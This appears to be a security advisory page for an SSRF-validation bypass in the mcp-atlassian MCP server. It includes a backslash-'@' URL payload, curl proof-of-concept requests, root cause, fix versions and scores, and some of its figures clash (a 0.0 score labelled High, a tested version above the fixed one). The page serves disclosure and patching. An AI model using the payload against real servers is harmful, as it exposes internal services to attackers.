GHSA-hgcf-4mq8-5266 CVE-2026-77274 PYSEC-2026-4096
MCP Atlassian: SSRF Protection Bypass
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.33%
- Chance of exploitation in the next 30 days. Higher than 26.21% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
0.22.0- Upgrade mcp-atlassian to this version or later
Description
Environment
- Project:
sooperset/mcp-atlassian - Affected function:
validate_url_for_ssrf() - Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint:
POST /mcp - Tested version:
2.14.5
Description
The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
Payload:
http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.com
Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Trigger Jira fetcher creation and token validation:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'
Observed response:
<img width="1505" height="442" alt="image" src="https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e" />
The local HTTP server also receives the request, confirming SSRF.
<img width="891" height="131" alt="image" src="https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6" />
Root Cause
The security validation and the actual HTTP request do not use the same URL interpretation.
validate_url_for_ssrf()usesurllib.parse.urlparse()and validatesparsed.hostname.- For the payload,
parsed.hostnameiswww.baidu.com. - The actual request is sent by the Atlassian client through
requests.Session. requeststreats the target as127.0.0.1:6666and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before \@.
Impact
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| mcp-atlassian | < 0.22.0 |
0.22.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
mcp-atlassian PyPI → 0.22.0
- pip
pip install --upgrade "mcp-atlassian>=0.22.0"- poetry
poetry add "mcp-atlassian>=0.22.0"- uv
uv add "mcp-atlassian>=0.22.0"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Weakness
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g2r2-3j32-j27x MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler | Medium | Also affects mcp-atlassian |
| GHSA-h7wj-5v37-59r2 MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read (incomplete fix for CVE-2026-27825) | Medium | Also affects mcp-atlassian |
| GHSA-4596-2p6p-28cv MCP Atlassian: Insecure File Permissions on OAuth Token Storage | Medium | Also affects mcp-atlassian |
| GHSA-mfv2-4wvm-9pgp MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call | Medium | Also affects mcp-atlassian |
| GHSA-p6hp-93wp-fh6p MCP Atlassian: Path Traversal / Arbitrary File Read in confluence_upload_attachment MCP tool (incomplete fix of GHSA-xjgw-4wvw-rgm4) | High | Also affects mcp-atlassian |
| GHSA-6cr4-ccf3-x7h4 MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials | High | Also affects mcp-atlassian |
| GHSA-mrq8-fv7v-hhjg MCP Atlassian: HTTP upload tools accept arbitrary server-local file paths | Medium | Also affects mcp-atlassian |
| GHSA-2xj6-xx86-cwwc MCP Atlassian: Arbitrary File Read & Exfiltration (Confused Deputy) in JIRA update_issue | High | Also affects mcp-atlassian |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor